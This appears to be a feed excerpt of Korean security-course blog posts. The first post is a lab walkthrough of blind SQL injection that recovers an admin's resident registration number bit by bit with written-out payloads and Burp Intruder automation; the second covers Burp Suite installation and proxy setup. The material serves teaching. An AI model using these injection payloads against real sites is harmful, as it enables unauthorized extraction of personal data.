&lt;p data-ke-size=&quot;size16&quot;&gt;현재까지 확인된 주민번호: 810XXX-XXXXXXX&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지속적으로 이진탐색을 활용하여 다음 주민번호까지 확인되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;810203-XXXXXXX&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비트연산을 활용하여 주민번호를 탐색해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아스키코드는 기존과 같이 그대로 활용하며, &amp;amp;를 사용하여 1,2,4,8,16,32 등 이진수의 각 자리수 숫자와 AND 비트연산을 한다. &amp;rarr; 주민번호는 숫자로 아스키코드 57까지만 확인하면 되므로 64는 AND 비트연산할 필요가 없다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=10 and ascii(substring((select jumin from customer_info where id='admin'),8,1))&amp;amp;1=1 &amp;rarr; 참&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=10 and ascii(substring((select jumin from customer_info where id='admin'),8,1))&amp;amp;2=2&amp;rarr; 거짓&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=10 and ascii(substring((select jumin from customer_info where id='admin'),8,1))&amp;amp;4=4 &amp;rarr; 거짓&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=10 and ascii(substring((select jumin from customer_info where id='admin'),8,1))&amp;amp;8=8 &amp;rarr; 거짓&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=10 and ascii(substring((select jumin from customer_info where id='admin'),8,1))&amp;amp;16=16 &amp;rarr; 참&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=10 and ascii(substring((select jumin from customer_info where id='admin'),8,1))&amp;amp;32=32 &amp;rarr; 참&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참이 나온 결과값들을 더해서 십진수로 변환해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1+16+32 = 49 &amp;rarr; 십진수 1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select char(49); &amp;rarr; MySQL 에서 아스키코드를 십진수로 변환&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1889&quot; data-origin-height=&quot;850&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cuz4kA/btsLrDk1Lgi/cQsrN0veu2czVQv9OhY4F0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cuz4kA/btsLrDk1Lgi/cQsrN0veu2czVQv9OhY4F0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cuz4kA/btsLrDk1Lgi/cQsrN0veu2czVQv9OhY4F0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcuz4kA%2FbtsLrDk1Lgi%2FcQsrN0veu2czVQv9OhY4F0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1889&quot; height=&quot;850&quot; data-origin-width=&quot;1889&quot; data-origin-height=&quot;850&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1885&quot; data-origin-height=&quot;853&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/diCOXT/btsLqw7QUwV/prV0sJcHlJrVoT6HZz8H3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/diCOXT/btsLqw7QUwV/prV0sJcHlJrVoT6HZz8H3k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/diCOXT/btsLqw7QUwV/prV0sJcHlJrVoT6HZz8H3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdiCOXT%2FbtsLqw7QUwV%2FprV0sJcHlJrVoT6HZz8H3k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1885&quot; height=&quot;853&quot; data-origin-width=&quot;1885&quot; data-origin-height=&quot;853&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 주민번호와 각 이진수 자리 숫자를 AND 비트연산하여 참과 거짓 응답을 확인하여 아스키코드 숫자를 더해서 십진수로 변환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나머지 주민번호를 AND 비트연산으로 추론한 결과 admin의 주민번호는 다음과 같다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;810203-1023113&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL 에서 customer_info 테이블의 admin의 주민번호를 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from customer_info;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select jumin from customer_info where id='admin';&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;520&quot; data-origin-height=&quot;322&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dnHoVW/btsLqYCkYWO/bRMVfrvG3wJ1tmBreFryxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dnHoVW/btsLqYCkYWO/bRMVfrvG3wJ1tmBreFryxk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dnHoVW/btsLqYCkYWO/bRMVfrvG3wJ1tmBreFryxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdnHoVW%2FbtsLqYCkYWO%2FbRMVfrvG3wJ1tmBreFryxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;520&quot; height=&quot;322&quot; data-origin-width=&quot;520&quot; data-origin-height=&quot;322&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Blind-Based 공격으로 추론한 admin의 주민번호와 customer_info 테이블의 admin 주민번호가 일치하는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트 리피터에서 아래와 같이 서버로 요청을 전송하면 참인 결과가 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=10 and substring((select jumin from customer_info where id='admin'),1,14)='810203-1023113'&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1919&quot; data-origin-height=&quot;857&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CdBEb/btsLqTA4Mx9/NMMi2FM6lpo8zdw0K5zPPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CdBEb/btsLqTA4Mx9/NMMi2FM6lpo8zdw0K5zPPK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CdBEb/btsLqTA4Mx9/NMMi2FM6lpo8zdw0K5zPPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCdBEb%2FbtsLqTA4Mx9%2FNMMi2FM6lpo8zdw0K5zPPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1919&quot; height=&quot;857&quot; data-origin-width=&quot;1919&quot; data-origin-height=&quot;857&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Blind-Based 공격은 시간이 오래 걸리기 때문에 대부분 자동화 도구를 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트의 Intruder 기능을 사용해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리피터에서 idx=10 and ascii(substring((select jumin from customer_info where id='admin'),1,1))&amp;amp;1=1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ctrl + i 를 입력하여 Intruder 로 보낸다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1459&quot; data-origin-height=&quot;899&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TevLh/btsLqQd5CrJ/mRKkooa7EU3Lkg1nqrCg20/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TevLh/btsLqQd5CrJ/mRKkooa7EU3Lkg1nqrCg20/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TevLh/btsLqQd5CrJ/mRKkooa7EU3Lkg1nqrCg20/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTevLh%2FbtsLqQd5CrJ%2FmRKkooa7EU3Lkg1nqrCg20%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1459&quot; height=&quot;899&quot; data-origin-width=&quot;1459&quot; data-origin-height=&quot;899&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1=1 부분을 드래그 후 상단의 Add $ 클릭 후 우측의 Simple list 로 지정 후 하단에 1=1, 2=2, 4=4, 8=8, 16=16, 32=32 를 입력해준다. (순차적으로 비교할 숫자를 자동화 하도록 설정)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1882&quot; data-origin-height=&quot;893&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dinBk1/btsLrba76BV/iXoi5p80HZ6n7U18LJv7IK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dinBk1/btsLrba76BV/iXoi5p80HZ6n7U18LJv7IK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dinBk1/btsLrba76BV/iXoi5p80HZ6n7U18LJv7IK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdinBk1%2FbtsLrba76BV%2FiXoi5p80HZ6n7U18LJv7IK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1882&quot; height=&quot;893&quot; data-origin-width=&quot;1882&quot; data-origin-height=&quot;893&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;상단의 Start Attack을 클릭 후 공격을 시작한다.&amp;nbsp;알람창은 무시한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 값마다 Length 값이 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참일 때는 3479 Bytes 가 출력된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;거짓일때는 2607 Bytes 가 출력된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 1,2,4 가 거짓이며 8,16,32 가 참인것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1340&quot; data-origin-height=&quot;453&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cnF0kT/btsLsc8lgoW/hKiIw7VTMNk8Pe8F9ewlkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cnF0kT/btsLsc8lgoW/hKiIw7VTMNk8Pe8F9ewlkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cnF0kT/btsLsc8lgoW/hKiIw7VTMNk8Pe8F9ewlkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcnF0kT%2FbtsLsc8lgoW%2FhKiIw7VTMNk8Pe8F9ewlkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1340&quot; height=&quot;453&quot; data-origin-width=&quot;1340&quot; data-origin-height=&quot;453&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과가 참인 경우 3479 bytes&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;557&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mBMtB/btsLsrYC1vZ/1VuJBp1z4foh1NBuLf6zZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mBMtB/btsLsrYC1vZ/1VuJBp1z4foh1NBuLf6zZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mBMtB/btsLsrYC1vZ/1VuJBp1z4foh1NBuLf6zZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmBMtB%2FbtsLsrYC1vZ%2F1VuJBp1z4foh1NBuLf6zZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;976&quot; height=&quot;557&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;557&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과가 거짓인 경우 2607 bytes&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;527&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRsz2A/btsLsZUWR5e/DH0PA79J0uflAhv02NysWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRsz2A/btsLsZUWR5e/DH0PA79J0uflAhv02NysWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRsz2A/btsLsZUWR5e/DH0PA79J0uflAhv02NysWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRsz2A%2FbtsLsZUWR5e%2FDH0PA79J0uflAhv02NysWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;978&quot; height=&quot;527&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;527&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Intruder 로 자동화 하는 경우도 있고, 파이썬을 활용하여 자동화하는 경우도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Blinde-Based 공격은 시간이 오래 걸리므로 실제 구문을 활용하여 몇 번 테스트 후 자동화 도구를 사용하여 빠른 값을 도출해내는 것이 좋다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL&amp;nbsp;Injection&amp;nbsp;3줄&amp;nbsp;요약 &lt;br /&gt;-&amp;nbsp;어플리케이션과&amp;nbsp;DB와&amp;nbsp;연결된&amp;nbsp;기능에&amp;nbsp;사용자&amp;nbsp;입력값(SQL&amp;nbsp;구문)을&amp;nbsp;삽입하는&amp;nbsp;공격 &lt;br /&gt;-&amp;nbsp;Error-Based,&amp;nbsp;Blind-Based,&amp;nbsp;Union-Based&amp;nbsp;공격 &lt;br /&gt;- 어플리케이션에서 DB로 전달되는 SQL 구문을 생각하여 SQL 공격 구문 작성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&lt;/a&gt;&lt;/p&gt;</description>
      <category>웹 해킹/웹 해킹 및 시큐어 코딩 기초</category>
      <category>sql injection</category>
      <category>웹 해킹</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/204</guid>
      <comments>https://it-log.tistory.com/204#entry204comment</comments>
      <pubDate>Wed, 11 Dec 2024 21:00:36 +0900</pubDate>
    </item>
    <item>
      <title>버프 스위트(Burp Suite) 설치 및 사용법</title>
      <link>https://it-log.tistory.com/203</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;버프 스위트(Burp Suite) 설치 및 프록시 설정&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구글에 burp suite download 검색 후 공식 홈페이지 접속하여 설치&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Pro 버전은 스캐너가 추가된 것이며, 무료 버전인 Community 버전을 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://portswigger.net/burp/communitydownload&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://portswigger.net/burp/communitydownload&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 홈페이지 접속 후 Go straight to downloads를 클릭하여 바로 다운로드 페이지로 이동한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;859&quot; data-origin-height=&quot;716&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vCg7Q/btsKVubxGmi/1RmOTaUwOXzQ1fK3E7XJ9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vCg7Q/btsKVubxGmi/1RmOTaUwOXzQ1fK3E7XJ9K/img.png&quot; data-alt=&quot;버프 스위트 다운로드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vCg7Q/btsKVubxGmi/1RmOTaUwOXzQ1fK3E7XJ9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvCg7Q%2FbtsKVubxGmi%2F1RmOTaUwOXzQ1fK3E7XJ9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;859&quot; height=&quot;716&quot; data-origin-width=&quot;859&quot; data-origin-height=&quot;716&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;버프 스위트 다운로드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Community Edition 선택 후 Download 버튼 클릭하여 다운로드 받는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1719&quot; data-origin-height=&quot;873&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TBLhV/btsKW6tpY6j/zmRlMTgtDRiKmKAwCoOWv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TBLhV/btsKW6tpY6j/zmRlMTgtDRiKmKAwCoOWv0/img.png&quot; data-alt=&quot;버프스위트 커뮤니티 에디션&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TBLhV/btsKW6tpY6j/zmRlMTgtDRiKmKAwCoOWv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTBLhV%2FbtsKW6tpY6j%2FzmRlMTgtDRiKmKAwCoOWv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1719&quot; height=&quot;873&quot; data-origin-width=&quot;1719&quot; data-origin-height=&quot;873&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;버프스위트 커뮤니티 에디션&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다운로드 후 next 를 클릭하여 설치 완료한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 브라우저에서 프록시로 향하는 통신을 설정해줘야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프록시 설정 방법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) 인터넷 옵션&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) 웹 브라우저 확장 프로그램 설치&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;통신 방향은 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트(브라우저) ----요청(Request)-----&amp;gt; 웹 프록시 서버 -----------------&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;---------&amp;gt;&lt;span&gt; 웹 서버&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;lt;----응답(Response)----&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;------응답(Response)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FoxyProxy라는 확장 프로그램 사용 및 기타 버프스위트 설정 오류로 인해 인터셉트가 되지 않는 오류가 발생하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내가 경험한 오류는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) 버프 스위트의 Proxy 설정 내 And URL Is in target scope 설정 후 인터셉트 안됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; target scope에 설정된 URL 접속 시에만 인터셉트 가능한 옵션으로 판단됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 127.0.0.1 을 And Domain name Matches로 설정 시 127.0.0.1에 대한 통신만 Intercept 하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) 다른 포트 8080,8887 적용 시 웹 사이트 접근이 아예 불가함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 다른 포트를 기존에 사용 중인것 같음 - 8888포트로 대체&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3) 인터넷 옵션으로 8888 포트 설정 시 인터셉트가 가능하지만 FoxyProxy로 8888포트 설정 시 불가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; FoxyProxy 자체가 프록시 서버 역할이 불가하다고 판단됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트 - Proxy - Proxy settings - 127.0.0.1:8888로 설정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Request interception rules 메뉴에서 intercept requests based on the following rules 선택&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Response interception rules 메뉴에서 intercept responses based on the following rules 선택&lt;/p&gt;
